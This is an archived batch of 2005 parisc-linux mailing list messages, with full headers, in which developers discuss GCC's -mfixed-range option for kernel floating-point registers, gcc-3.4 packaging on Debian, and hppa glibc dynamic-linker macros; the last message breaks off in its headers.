Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: T6fLYv4leSEkXr6WZHQhaXN1IGRvb0AT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22798

Hello Dave,

John David Anglin wrote:
>>>4.0 has a
>>>new option, -mfixed_range=, that was introduced so that a small range
>>>of fp registers could be used for the xmpyu multiplication insn.  It
>>>might be useful to experiment with this option to see if it useful.
>>
>>I don't know enough about ABI to understand the issues here.
>>AFAIK, we currently are using FP registers because that's
>>the way multiplication is implemented in the integer math libs
>>we inherited.
> 
> 
> No.  Currently in kernel builds, the use of FP registers is completely
> disabled and integer multiplication is done using the millicode library.
> However with a few FP regs, integer multiplication (32 bit) can be
> done in hardware except of course on machines that don't have FP
> hardware.  The downside is that the kernel has to save whatever
> FP registers it uses.
> 
> The -mfixed_range= option "fixes" a range if registers.  GCC won't
> use registers that are fixed.
> 
Sorry to come back so late with this question but what would be the range of fp registers?
or how may I try to define it as accurately as possible?
(I objdump a operating 2.6.12-rc.-pa. 64bit to grep some 'fr[12][0..9]' and all of them seems to be used?
Do I have to look elsewhere; tausq also spoke about: sic
[...]One proposal that has been talked about before is if we can
compile a version of the millicode lib that uses limited fpregs range
and compile the kernel using this new option that Dave is talking about,
then we will be able to get by using a (much) smaller subset of fp regs
and we won't have to save/restore them in the kernel. )

Thanks,
     Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Wed, 22 Jun 2005 23:23:20 -0400 (EDT)
Lines: 47
Approved: news@gmane.org
Message-ID: <200506230323.j5N3NKB9019108@hiauly1.hia.nrc.ca>
References: <42B9C20E.3090409@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623810 14945 80.91.229.3 (22 Nov 2014 02:36:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 03:23:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 23 Jun 2005 05:23:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C1247D70C;
	Wed, 22 Jun 2005 21:23:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28527-05; Wed, 22 Jun 2005 21:23:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D30C7D714;
	Wed, 22 Jun 2005 21:23:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B83737D70B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 21:23:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28527-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 21:23:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 246E77D704
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 21:23:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j5N3NLnV019109; Wed, 22 Jun 2005 23:23:21 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j5N3NKB9019108;
	Wed, 22 Jun 2005 23:23:20 -0400 (EDT)
In-Reply-To: <42B9C20E.3090409@tiscali.be> from "Joel Soete" at Jun 22,
	2005 07:54:54 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZE7IYqgMeSEkVL6WZHQhaXN1IGRvbwBE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22799

> Sorry to come back so late with this question but what would be the range of fp registers?
> or how may I try to define it as accurately as possible?
> (I objdump a operating 2.6.12-rc.-pa. 64bit to grep some 'fr[12][0..9]' and all of them seems to be used?
> Do I have to look elsewhere; tausq also spoke about: sic
> [...]One proposal that has been talked about before is if we can
> compile a version of the millicode lib that uses limited fpregs range
> and compile the kernel using this new option that Dave is talking about,
> then we will be able to get by using a (much) smaller subset of fp regs
> and we won't have to save/restore them in the kernel. )

/* Parse the -mfixed-range= option string.  */

static void
fix_range (const char *const_str)
{
  int i, first, last;
  char *str, *dash, *comma;

  /* str must be of the form REG1'-'REG2{,REG1'-'REG} where REG1 and
  REG2 are either register names or register numbers.  The effect
  of this option is to mark the registers in the range from REG1 to
  REG2 as ``fixed'' so they won't be used by the compiler.  This is
  used, e.g., to ensure that kernel mode code doesn't use f32-f127.  */

You are probably best to use register names.  There are 28 fp registers
starting at fr4.  The number for fr4 is 32.  I see there is a typo
in the comment regarding the range, "f32-f127".  This is a cut and
paste error.

The millicode routines don't use the fp regs.  However, libgcc does
and the kernel is linked against libgcc.  Thus, for this to work, you
will need to build both a kernel build version of gcc and the kernel
with the -mfixed-range option.  You probably want to leave about four
fp registers unfixed for integer multiplcation.  This is essential on
hppa64 as we don't have millicode support for 64-bit integer
multiplication.  This support is provided by libgcc routines.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new debian binutils-hppa64, r=2.15-7 pb?
Date: Wed, 22 Jun 2005 23:42:23 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200506230342.j5N3gOte019236__18094.8848058053$1416623811$gmane$org@hiauly1.hia.nrc.ca>
References: <17081.52770.365946.52496@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623811 14952 80.91.229.3 (22 Nov 2014 02:36:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:51 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 kyle@cabal.ca
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 03:42:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 23 Jun 2005 05:42:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 897937D72C;
	Wed, 22 Jun 2005 21:42:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29138-03; Wed, 22 Jun 2005 21:42:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC0AF7D731;
	Wed, 22 Jun 2005 21:42:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 029CC7D714
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 21:42:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29087-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 21:42:40 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 669277D70C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 21:42:40 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j5N3gOnV019237; Wed, 22 Jun 2005 23:42:24 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j5N3gOte019236;
	Wed, 22 Jun 2005 23:42:24 -0400 (EDT)
In-Reply-To: <17081.52770.365946.52496@gargle.gargle.HOWL> from "Matthias
	Klose" at Jun 22, 2005 10:46:26 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4ErIYuwEeSEkW76WZHQhaXN1IGRvb4BM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22800

> that should be fixed after the next gcc-defaults upload.

As I noted previously, there seems to be a packaging issue with
gcc-3.4.  It only seems to install the 64-bit compiler driver:

/usr/bin/hppa64-linux-gcc-3.4

I also haven't seen 4.0.0 yet.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Wed, 22 Jun 2005 23:27:53 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20050623052753.GA20584@colo.lackof.org>
References: <200503242133.j2OLXl4R020985@hiauly1.hia.nrc.ca>
	<42B9C20E.3090409@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623811 14954 80.91.229.3 (22 Nov 2014 02:36:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 05:24:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 23 Jun 2005 07:24:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C5D27D743;
	Wed, 22 Jun 2005 23:23:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29138-10; Wed, 22 Jun 2005 23:23:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6DD477D744;
	Wed, 22 Jun 2005 23:23:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B2C97D742
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 23:23:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29138-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 23:23:53 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 80E8F7D741
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 23:23:53 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A7607298052;
	Wed, 22 Jun 2005 23:27:54 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17887-10; Wed, 22 Jun 2005 23:27:53 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3FFCA298034; Wed, 22 Jun 2005 23:27:53 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42B9C20E.3090409@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JCLIYtRoeSEkY76WZHQhaXN1IGRvbwAG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22801

On Wed, Jun 22, 2005 at 07:54:54PM +0000, Joel Soete wrote:
> of fp registers?
> or how may I try to define it as accurately as possible?
> (I objdump a operating 2.6.12-rc.-pa. 64bit to grep some 'fr[12][0..9]' and 
> all of them seems to be used?

Of course they will all be used - kernel has to save and restore
process state when switching context. You have to look at each
use and determine why FP is being used. There shouldn't
be that many different uses.

> Do I have to look elsewhere; tausq also spoke about: sic
> [...]One proposal that has been talked about before is if we can
> compile a version of the millicode lib that uses limited fpregs range
> and compile the kernel using this new option that Dave is talking about,
> then we will be able to get by using a (much) smaller subset of fp regs
> and we won't have to save/restore them in the kernel. )

That's correct - but we will still have to save/restore all FP regs
on a general context switch - just a subset of those when
entering/leaving the kernel (e.g. handling an external interrupt).

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [RFC] Emit OPD reloc for all global symbols
	and then some.
Date: Wed, 22 Jun 2005 17:59:02 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20050622215901.GV5269__13914.56339411$1416623811$gmane$org@systemhalted.org>
References: <200506211521.j5LFLwgJ011696@hiauly1.hia.nrc.ca>
	<jeekavhet4.fsf@sykes.suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623811 14956 80.91.229.3 (22 Nov 2014 02:36:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:51 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 hjl@lucon.org,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org,
 binutils@sources.redhat.com
To: Andreas Schwab <schwab@suse.de>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jun 2005 21:59:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 22 Jun 2005 23:59:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1839F7D6C9;
	Wed, 22 Jun 2005 15:59:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26816-09; Wed, 22 Jun 2005 15:59:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 801F67D6CC;
	Wed, 22 Jun 2005 15:59:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 42B617D6C5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 15:59:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26967-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 15:59:44 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id B557B7D6BD
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 15:59:44 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DlDFP-0001By-00; Wed, 22 Jun 2005 17:59:03 -0400
Content-Disposition: inline
In-Reply-To: <jeekavhet4.fsf@sykes.suse.de>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DbrLYqdBeSEkVr6WZHQhaXN1IGRvbwDM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22802

On Tue, Jun 21, 2005 at 06:09:43PM +0200, Andreas Schwab wrote:
> "John David Anglin" <dave@hiauly1.hia.nrc.ca> writes:
> 
> > Having the PLABEL32 relocation resolve to an OPD appears to require
> > that the symbol be exported.  As a result, we have a different behaviors
> > for dlsym on hppa and ia32.  What's ia64 do?
> 
> hppa needs to be fixed to implement correct variants of the macros in
> dl-lookupcfg.h.  It probably just has to copy the definitions of
> DL_FIXUP_* from sysdeps/ia64/dl-lookupcfg.h, and
> _dl_runtime_{resolve,profile} has to be adapted accordingly.

We have the correct variants implemented.

http://cvs.parisc-linux.org/glibc/sysdeps/hppa/dl-lookupcfg.h?rev=1.3&view=markup

Upstream glibc is not a good indicator of the status of our port.
I am trying to merge as much as I can upstream.

c.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [RFC] Emit OPD reloc for all global symbols
Date: Wed, 22 Jun 2005 18:03:31 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20050622220331.GW5269__18041.8113632642$1416623812$gmane$org@systemhalted.org>
References: <jeekavhet4.fsf@sykes.suse.de>
	<200506212026.j5LKQk6m013156@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623812 14959 80.91.229.3 (22 Nov 2014 02:36:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:52 +0000 (UTC)
Cc: Andreas Schwab <schwab@suse.de>,
 hjl@lucon.org,
 binutils@sources.redhat.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jun 2005 22:03:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 23 Jun 2005 00:03:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA5C57D6E4;
	Wed, 22 Jun 2005 16:03:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27231-05; Wed, 22 Jun 2005 16:03:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F36CE7D6DE;
	Wed, 22 Jun 2005 16:03:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 373BE7D6DC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 16:03:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27231-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 16:03:52 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id A88B77D6C5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 16:03:52 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DlDJj-0001Cj-00; Wed, 22 Jun 2005 18:03:31 -0400
Content-Disposition: inline
In-Reply-To: <200506212026.j5LKQk6m013156@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
